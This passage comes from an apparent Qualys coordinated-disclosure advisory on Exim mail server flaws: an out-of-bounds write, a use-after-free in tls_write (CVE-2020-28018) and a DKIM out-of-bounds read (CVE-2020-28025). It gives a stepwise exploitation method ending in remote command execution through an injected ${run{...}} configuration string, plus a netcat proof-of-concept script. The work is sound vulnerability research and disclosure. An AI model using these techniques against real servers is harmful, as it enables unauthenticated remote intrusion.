1765  542 smtp_inptr = smtp_inbuffer;
1766  543 return TRUE;
1767  544 }
1768 ------------------------------------------------------------------------
1769  559 int
1770  560 smtp_getc(unsigned lim)
1771  561 {
1772  562 if (smtp_inptr >= smtp_inend)
1773  563   if (!smtp_refill(lim))
1774  564     return EOF;
1775  565 return *smtp_inptr++;
1776  566 }
1777 ------------------------------------------------------------------------
1778
1779 Exim implements an smtp_ungetc() function to push characters back into
1780 smtp_inbuffer (characters that were read from smtp_inbuffer by
1781 smtp_getc()):
1782
1783 ------------------------------------------------------------------------
1784  795 int
1785  796 smtp_ungetc(int ch)
1786  797 {
1787  798 *--smtp_inptr = ch;
1788  799 return ch;
1789  800 }
1790 ------------------------------------------------------------------------
1791
1792 Unfortunately, Exim also calls smtp_ungetc() to push back "characters"
1793 that were not actually read from smtp_inbuffer: EOF (-1), and if BDAT is
1794 used, EOD and ERR (-2 and -3). For example, in receive_msg():
1795
1796 ------------------------------------------------------------------------
1797 1945   if (ch == '\r')
1798 1946     {
1799 1947     ch = (receive_getc)(GETC_BUFFER_UNLIMITED);
1800 1948     if (ch == '\n')
1801 1949       {
1802 ....
1803 1952       }
1804 ....
1805 1957     ch = (receive_ungetc)(ch);
1806 ------------------------------------------------------------------------
1807
1808 - at line 1947, receive_getc (smtp_getc()) can return EOF;
1809
1810 - at line 1957, this EOF is passed to receive_ungetc (smtp_ungetc());
1811
1812 - at line 798 (in smtp_ungetc()), if smtp_inptr is exactly equal to
1813   smtp_inbuffer, then it is decremented to smtp_inbuffer - 1, and EOF is
1814   written out of smtp_inbuffer's bounds.
1815
1816 To return EOF in receive_msg() while smtp_inptr is equal to
1817 smtp_inbuffer, we must initiate a TLS-encrypted connection:
1818
1819 - either through TLS-on-connect (usually on port 465), which does not
1820   use smtp_inptr nor smtp_inbuffer;
1821
1822 - or through STARTTLS, which resets smtp_inptr to smtp_inbuffer in the
1823   following code (if X_PIPE_CONNECT is enabled, the default since Exim
1824   4.94):
1825
1826 ------------------------------------------------------------------------
1827 5484       if (receive_smtp_buffered())
1828 5485         {
1829 5486         DEBUG(D_any)
1830 5487           debug_printf("Non-empty input buffer after STARTTLS; naive attack?\n");
1831 5488         if (tls_in.active.sock < 0)
1832 5489           smtp_inend = smtp_inptr = smtp_inbuffer;
1833 ------------------------------------------------------------------------
1834
1835 In both cases:
1836
1837 - first, we initiate a TLS-encrypted connection, which sets receive_getc
1838   and receive_ungetc to tls_getc() and tls_ungetc() (while smtp_inptr is
1839   equal to smtp_inbuffer);
1840
1841 - second, we start a mail (MAIL FROM, RCPT TO, and DATA commands) and
1842   enter receive_msg();
1843
1844 - third, we send a bare '\r' character and reach line 1945;
1845
1846 - next, we terminate the TLS connection, which resets receive_getc and
1847   receive_ungetc to smtp_getc() and smtp_ungetc() (while smtp_inptr is
1848   still equal to smtp_inbuffer);
1849
1850 - last, we close the underlying TCP connection, which returns EOF at
1851   line 1947 and writes EOF out of smtp_inbuffer's bounds at line 1957
1852   (line 798 in smtp_ungetc()).
1853
1854 We have not tried to exploit this vulnerability; if exploitable, it
1855 would allow an unauthenticated remote attacker to execute arbitrary
1856 commands as the "exim" user (if TLS and either TLS-on-connect or
1857 X_PIPE_CONNECT are enabled).
1858
1859
1860
1861 ========================================================================
1862 CVE-2020-28018: Use-after-free in tls-openssl.c
1863 ========================================================================
1864
1865 If Exim is built with OpenSSL, and if STARTTLS is enabled, and if
1866 PIPELINING is enabled (the default), and if X_PIPE_CONNECT is disabled
1867 (the default before Exim 4.94), then tls_write() in tls-openssl.c is
1868 vulnerable to a use-after-free.
1869
1870 If PIPELINING is used, Exim buffers the SMTP responses to MAIL FROM and
1871 RCPT TO commands (in tls-openssl.c):
1872
1873 ------------------------------------------------------------------------
1874 2909 int
1875 2910 tls_write(void * ct_ctx, const uschar *buff, size_t len, BOOL more)
1876 2911 {
1877 ....
1878 2915 static gstring * server_corked = NULL;
1879 2916 gstring ** corkedp = ct_ctx
1880 2917   ? &((exim_openssl_client_tls_ctx *)ct_ctx)->corked : &server_corked;
1881 2918 gstring * corked = *corkedp;
1882 ....
1883 2933 if (!ct_ctx && (more || corked))
1884 2934   {
1885 ....
1886 2940   corked = string_catn(corked, buff, len);
1887 ....
1888 2946   if (more)
1889 2947     {
1890 2948     *corkedp = corked;
1891 2949     return len;
1892 2950     }
1893 ------------------------------------------------------------------------
1894
1895 - at line 2910, ct_ctx is NULL, buff contains the SMTP response, and
1896   more is true;
1897
1898 - at line 2940, a struct gstring (a "growable string", mentioned in
1899   CVE-2020-28009) and its string buffer are allocated in POOL_MAIN
1900   memory:
1901
1902 ------------------------------------------------------------------------
1903  29 typedef struct gstring {
1904  30   int   size;           /* Current capacity of string memory */
1905  31   int   ptr;            /* Offset at which to append further chars */
1906  32   uschar * s;           /* The string memory */
1907  33 } gstring;
1908 ------------------------------------------------------------------------
1909
1910 - at line 2948, a pointer to the struct gstring is saved to a local
1911   static variable, server_corked.
1912
1913 Unfortunately, if smtp_reset() is called (in smtp_setup_msg()), then
1914 store_reset() is called and frees all allocated POOL_MAIN memory, but
1915 server_corked is not reset to NULL: if tls_write() is called again, the
1916 struct gstring and its string buffer are used-after-free.
1917
1918 Side note: another use-after-free, CVE-2017-16943, was discovered by Meh
1919 Chang in November 2017 (https://bugs.exim.org/show_bug.cgi?id=2199).
1920
1921 ------------------------------------------------------------------------
1922 Exploitation
1923 ------------------------------------------------------------------------
1924
1925 To reliably control this vulnerability, we must prevent Exim from
1926 calling tls_write() between our call to smtp_reset() and the actual
1927 use-after-free:
1928
1929 - first, we send EHLO and STARTTLS (to initiate a TLS connection);
1930
1931 - second, we send EHLO and "MAIL FROM:<>\nNO" (to pipeline the first
1932   half of a NOOP command, and to buffer the response to our MAIL FROM
1933   command in tls_write());
1934
1935 - third, we terminate the TLS connection (and fall back to cleartext)
1936   and send "OP\n" (the second half of our pipelined NOOP command);
1937
1938 - next, we send EHLO (to force a call to smtp_reset()) and STARTTLS (to
1939   re-initiate a TLS connection);
1940
1941 - last, server_corked is used-after-free (in tls_write()) in response to
1942   any SMTP command that we send.
1943
1944 This use-after-free of a struct gstring (server_corked) and its string
1945 buffer (server_corked->s) is the most powerful vulnerability in this
1946 advisory:
1947
1948 1/ We overwrite the string buffer (which is sent to us by tls_write())
1949 and transform this use-after-free into an information leak (we leak
1950 pointers to the heap).
1951
1952 2/ We overwrite the struct gstring (with an arbitrary string pointer and
1953 size) and transform the use-after-free into a read-what-where primitive:
1954 we read the heap until we locate Exim's configuration.
1955
1956 3/ We overwrite the struct gstring (with an arbitrary string pointer)
1957 and transform the use-after-free into a write-what-where primitive: we
1958 overwrite Exim's configuration with an arbitrary "${run{command}}" that
1959 is executed by expand_string() as the "exim" user (Digression 2).
1960
1961 We use a few noteworthy tricks in our exploit:
1962
1963 1/ Information leak: To overwrite the string buffer without overwriting
1964 the struct gstring itself, we send several pipelined RCPT TO commands to
1965 re-allocate the string buffer (far away from the struct gstring), and
1966 overwrite it with header_line structures that contain pointers to the
1967 heap.
1968
1969 2/ Read-what-where: We overwrite the struct gstring with arbitrary
1970 binary data through the name=value parameter of a MAIL FROM command:
1971
1972 - we overwrite the s member with a pointer to the memory that we want to
1973   read (a pointer to the heap);
1974
1975 - we overwrite the ptr member with the number of bytes that we want to
1976   read;
1977
1978 - we overwrite the size member with the same number as ptr to prevent
1979   string_catn() from writing to the memory that we want to read (at line
1980   2940 in tls_write()).
1981
1982 3/ Write-what-where: We overwrite the struct gstring with arbitrary
1983 binary data through the name=value parameter of a MAIL FROM command:
1984
1985 - we overwrite the s member with a pointer to the memory that we want to
1986   overwrite (a pointer to Exim's configuration);
1987
1988 - we overwrite the ptr member with 0 and the size member with a large
1989   arbitrary number;
1990
1991 - finally, we send a MAIL FROM command whose response overwrites Exim's
1992   configuration with our arbitrary "${run{...}}" (which is eventually
1993   executed by expand_string()).
1994
1995 Note: Debian's Exim packages are built with GnuTLS, not OpenSSL; to
1996 rebuild them with OpenSSL, we followed the detailed instructions at
1997 https://gist.github.com/ryancdotorg/11025731.
1998
1999 ------------------------------------------------------------------------
2000 History
2001 ------------------------------------------------------------------------
2002
2003 This vulnerability was introduced in Exim 4.90:
2004
2005 ------------------------------------------------------------------------
2006 commit a5ffa9b475a426bc73366db01f7cc92a3811bc3a
2007 Date:   Fri May 19 22:55:25 2017 +0100
2008 ...
2009 +static uschar * corked = NULL;
2010 +static int c_size = 0, c_len = 0;
2011 ...
2012 +if (is_server && (more || corked))
2013 +  {
2014 +  corked = string_catn(corked, &c_size, &c_len, buff, len);
2015 +  if (more)
2016 +    return len;
2017 ------------------------------------------------------------------------
2018
2019
2020
2021 ========================================================================
2022 CVE-2020-28025: Heap out-of-bounds read in pdkim_finish_bodyhash()
2023 ========================================================================
2024
2025 By default since Exim 4.70, receive_msg() calls
2026 dkim_exim_verify_finish() to verify DKIM (DomainKeys Identified Mail)
2027 signatures, which calls pdkim_feed_finish(), which calls
2028 pdkim_finish_bodyhash():
2029
2030 ------------------------------------------------------------------------
2031  788 static void
2032  789 pdkim_finish_bodyhash(pdkim_ctx * ctx)
2033  790 {
2034  ...
2035  799 for (pdkim_signature * sig = ctx->sig; sig; sig = sig->next)
2036  800   {
2037  ...
2038  825     if (  sig->bodyhash.data
2039  826        && memcmp(b->bh.data, sig->bodyhash.data, b->bh.len) == 0)
2040  827       {
2041  ...
2042  829       }
2043  830     else
2044  831       {
2045  ...
2046  838       sig->verify_status     = PDKIM_VERIFY_FAIL;
2047  839       sig->verify_ext_status = PDKIM_VERIFY_FAIL_BODY;
2048  840       }
2049  841   }
2050  842 }
2051 ------------------------------------------------------------------------
2052
2053 Unfortunately, at line 826, sig->bodyhash.data is attacker-controlled
2054 (through a "DKIM-Signature:" mail header) and memcmp() is called without
2055 checking first that sig->bodyhash.len is equal to b->bh.len: memcmp()
2056 can read sig->bodyhash.data out-of-bounds.
2057
2058 If the acl_smtp_dkim is set (it is unset by default), an unauthenticated
2059 remote attacker may transform this vulnerability into an information
2060 disclosure; we have not fully explored this possibility.
2061
2062 ------------------------------------------------------------------------
2063 Proof of concept
2064 ------------------------------------------------------------------------
2065
2066 (
2067 sleep 10;
2068 echo 'EHLO test';
2069 sleep 3;
2070 echo 'MAIL FROM:<>';
2071 sleep 3;
2072 echo 'RCPT TO:postmaster';
2073 sleep 3;
2074 echo 'DATA';
2075 sleep 30;
2076 printf 'DKIM-Signature:a=rsa-sha512;bh=QUFB\r\n\r\nXXX\r\n.\r\n';
2077 sleep 30
2078 ) | nc -n -v 192.168.56.101 25
2079
2080 Breakpoint 6, 0x000055e180320401 in pdkim_finish_bodyhash (ctx=<optimized out>) at pdkim.c:825
2081 (gdb) print sig->bodyhash
2082 $2 = {data = 0x55e181b9ed10 "AAA", len = 3}
2083 (gdb) print b->bh.len
2084 $3 = 64
2085
2086 ------------------------------------------------------------------------
2087 History
2088 ------------------------------------------------------------------------
2089
2090 This vulnerability was introduced in Exim 4.70:
2091
2092 ------------------------------------------------------------------------
2093 commit 80a47a2c9633437d4ceebd214cd44abfbd4f4543
2094 Date:   Wed Jun 10 07:34:04 2009 +0000
2095 ...
2096 +      if (memcmp(bh,sig->bodyhash,
2097 +                 (sig->algo == PDKIM_ALGO_RSA_SHA1)?20:32) == 0) {
2098 ------------------------------------------------------------------------
2099
2100
2101
2102 ========================================================================
2103 Acknowledgments
2104 ========================================================================
2105
2106 We thank Exim's developers for their hard work on this security release.
2107 We thank Mitre's CVE Assignment Team for their quick responses to our
2108 requests. We thank Damien Miller for his kind answers to our seteuid()
2109 questions. We also thank the members of distros@openwall.
2110
2111
2112
2113 ========================================================================
2114 Timeline (abridged)
2115 ========================================================================
2116
2117 2020-10-20: We (qsa@qualys) informed Exim (security@exim) that we
2118 audited central parts of the code, discovered multiple vulnerabilities,
2119 and are working on an advisory. Exim immediately acknowledged our mail.
2120
2121 2020-10-28: We sent the first draft of our advisory to Exim. They
2122 immediately acknowledged our mail, and started to work on patches.
2123
2124 2020-10-29: We sent a list of 10 secondary issues to Exim (to the best
2125 of our knowledge, these issues are not CVE-worthy).
2126
2127 2020-10-30: We requested 20 CVEs from Mitre. They were assigned on the
2128 same day, and we immediately transmitted them to Exim.
2129
2130 2020-11-13: Exim gave us read access to their private Git repository. We
2131 started reviewing their first set of patches (which tackled 7 CVEs).
2132
2133 2020-11-17 and 2020-11-18: We sent a two-part patch review to Exim
2134 (several patches were incomplete).
2135
2136 2020-12-02: A second set of patches (which tackled 7 secondary issues)
2137 appeared in Exim's private Git repository. We started reviewing it.
2138
2139 2020-12-09: We sent our second patch review to Exim.
2140
2141 2021-01-28: We mailed Exim and offered to work on the incomplete and
2142 missing patches (the last commit in Exim's private Git repository dated
2143 from 2020-12-02).
2144
2145 2021-02-05: Exim acknowledged our mail. We started to write a minimal
2146 but complete set of patches (on top of exim-4.94+fixes).
2147
2148 2021-02-15: While working on a patch for CVE-2020-28014, we discovered
2149 CVE-2021-27216. We requested a CVE from Mitre, and immediately sent a
2150 heads-up to Exim.
2151
2152 2021-02-24: We completed our minimal set of patches and sent it to Exim.
2153
2154 2021-04-17: Exim proposed 2021-05-04 for the Coordinated Release Date.
2155
2156 2021-04-19: We accepted the proposed Coordinated Release Date.
2157
2158 2021-04-21: Exim publicly announced the impending security release.
2159
2160 2021-04-27: Exim provided packagers and maintainers (including
2161 distros@openwall) with access to their security Git repository.
2162
2163 2021-04-28: We sent a draft of our advisory and our minimal set of
2164 patches to distros@openwall.
2165
2166 2021-05-04: Coordinated Release Date (13:30 UTC).
2167